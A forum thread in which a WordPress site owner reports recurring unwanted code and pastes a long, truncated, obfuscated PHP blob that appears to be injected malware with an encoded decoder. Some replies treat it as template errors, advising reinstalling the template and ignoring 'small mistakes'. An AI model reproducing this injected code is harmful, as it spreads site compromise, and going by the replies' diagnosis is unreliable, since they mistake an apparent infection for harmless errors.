How to remove unwanted codes from wordpress websites?

I have a serious problem with my real estate website which I have developed in wordpress. When i checked using page source of the site, it is showing lot of unwanted codes which having no meaning. its simply taking long sentences and taking lot of spaces. I removed this code. But it is again showing in the site after some times. Is it automatically coming or due to any plug in update? Please help.

Impossible to tell without being able to look at the bits of code you mean. Could you post code examples?

<?php $llmfxklpzj = 'ss-%x5c%x7825r%x5c%x7878W~!Yp7860QUUI&b%x5c%x7825!|5c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%return chr(ord($n)-1);} @erro]281Ld]245]K2]285]Ke]53Ld]u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2j!|!*msv%x5c%x7825)}k~~~<fttjw!>!#]y84]275]y83]248]y83]256:>:iuhofm%x5c%x7825:-5ppde:4:|:#ppde#)tutjyf%x5c%x78604%x5c]y76]61]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73", NU5c%x7827!hmg%x5c%x7825!)!gj!<2,j%x5c%x7825!-#!%x5c%x7825tww!>!%x5c%x782400~%x7825!72!%x5c%x7827!x66%147%x67%42%x2c%163%x74%1<%x5c%x787fw6%x5c%x787f_#fmjgk4%x5c%x7860{6~6<tf51L3]84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%xx5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#%x5c5c%x7860msvd},;uqpuft!tussfw)%x5c%x7825cW%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%]25%x5c%x7824-%x5c%x7824-!%]278]225]241]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]25csboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%xc%x7860{66~6<&w6<%x5c%x787fw6C7tfs%x5c%x78256<17-S#%x5c%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x7h>EzH,2W%x5c%x7825wN;#-Ez-1HWCw[!c%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33!|!!b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257^#zsf7825ggg)(0)%x5c%x782f+%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%ubE{h%x5c%x7825)tpqsut>j%x5c%x7825!9!%x5c%x7827!hmg%x55]53]Kc#<%x5c%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L16%x75%156%x61"]=1; function fjfgg($n){x5c%x787f!|!uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5ldfidk!~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d5c%x78e%x5c%x78b%x5c%W&)7gj6<doj%x5c%x78257if((function_exists("%x6f%144<!%x5c%x7825kj:!>!#]y3d]51]7825)!gj!<*2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>ozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvr#%x5c%x7<%x5c%x787fw6%x5c%x787f_#ujojRk3%x5c%&S{ftmfV%x5c%x787f<XAZASV<w%x5c%x7825)pp%x5c%x7825rN}#QwTW%x5c%x7825hIr%x5c%x78#%x5c%x782f#M5]DgP5]D6#<%x5c%x782vr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Yx5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%xps)%x5c%x7825j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:<%x5c%x782x5c%x7825>U<#16,47R57,27R66,#%x5c%x782fq%x5c%LL); }256~6<%x5c%x787fw6<K)ftpmdXA6|7x7860{666~6<&w6<%x5c%x787fw6CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787j%x5c%x7825!|!#91y]c9y]g2y]#>>4-878B%x5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:7c%x7827&7-n%x5c%x7825)utjm6<%x5c%x787fw6CW&)7gj6<K)ftpmdX%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6%x5c%x787f_#fubfsdXk5%x5x5c%x7825>j%x5c%x7825!<3-jx5c%x782f#00#W~!Ydrr)%x5x7825!|Z~!<##!>!2p%x5c%x7825c%x7825)7gj6<id%x5c%x7825)ftpmdR6<id%x5c%x7825)dfyfR%x5c%x78225)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%xo]s]o]s]#)fepmqyf%x5x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x7825V<#fopoV;hojepdoF.uo76]277]y72]265]y39]274]y85]273]y6g]273]y5j:,Bjg!)%x5c%x7825j:>>1!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>72qj%x5c%x7825)7gj6<2qj%x5c%x7825)hopm3qjA)qj3hopmA%x825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<2bd%x5c%x7825-)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%xFS%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x-%x5c%x7824<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x75c%x78273qj%x5c%x78256<*Y%x5c%x7825)fnb1]y7d]252]y74]256#<!%x5c%x!%x5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#d%x5c%x7827,*c%x5c%x7827,*bT-%x5c%x7825hW~%x5c%x78y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!g!>!#]y81]273]y76]258]y6g]273]y76]27]#>s%x5c%x7825<#462]47y]252]18y]#>q%x5c%x782pd!opjudovg!|!#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1248]y83]256]y81]265]y72]2547825)7fmji%x5c%x78786<C%x5c%x7827&6<*rfs%x5c%7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x57,67R37,#%x5c%x782fq%2f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<#57]38y]47]67y]37]88y782f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825825tmw!>!#]y84]275]y83]273]825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5<#762]67y]562]38y]572]48y]#>m%x5c%x7825:|:r%x5c%x7825:-t%x5c%x78]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x5c%x78246767{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvufs!!+A!>!{e%x5c%x#%x5c%x785cq%x5c%x7825:<h%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7but%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x7fuopd%x5c%x7860ufh%x5c%x7860fmjg}

Since it is allowed 11022 characters, I couldnt include full code.

That’s odd and obfuscated.
Does the code disappear if you disable all plugins?

Well, you can edit your template in customise section.

I read that you already did that, and since you are a newbie so, it will be really difficult for you to eracticate every small error. So, the best thing now is that you just remove the modified template and apply it again.

Then start to modify it again, but this time keep downloading the backup of your modified templates as you have done modifying it and there is no errors, so that you can apply that template if you messed it again.

Google often ignore small mistakes in the code so if you have a template with error and it is still working dont hasitate and go ahead.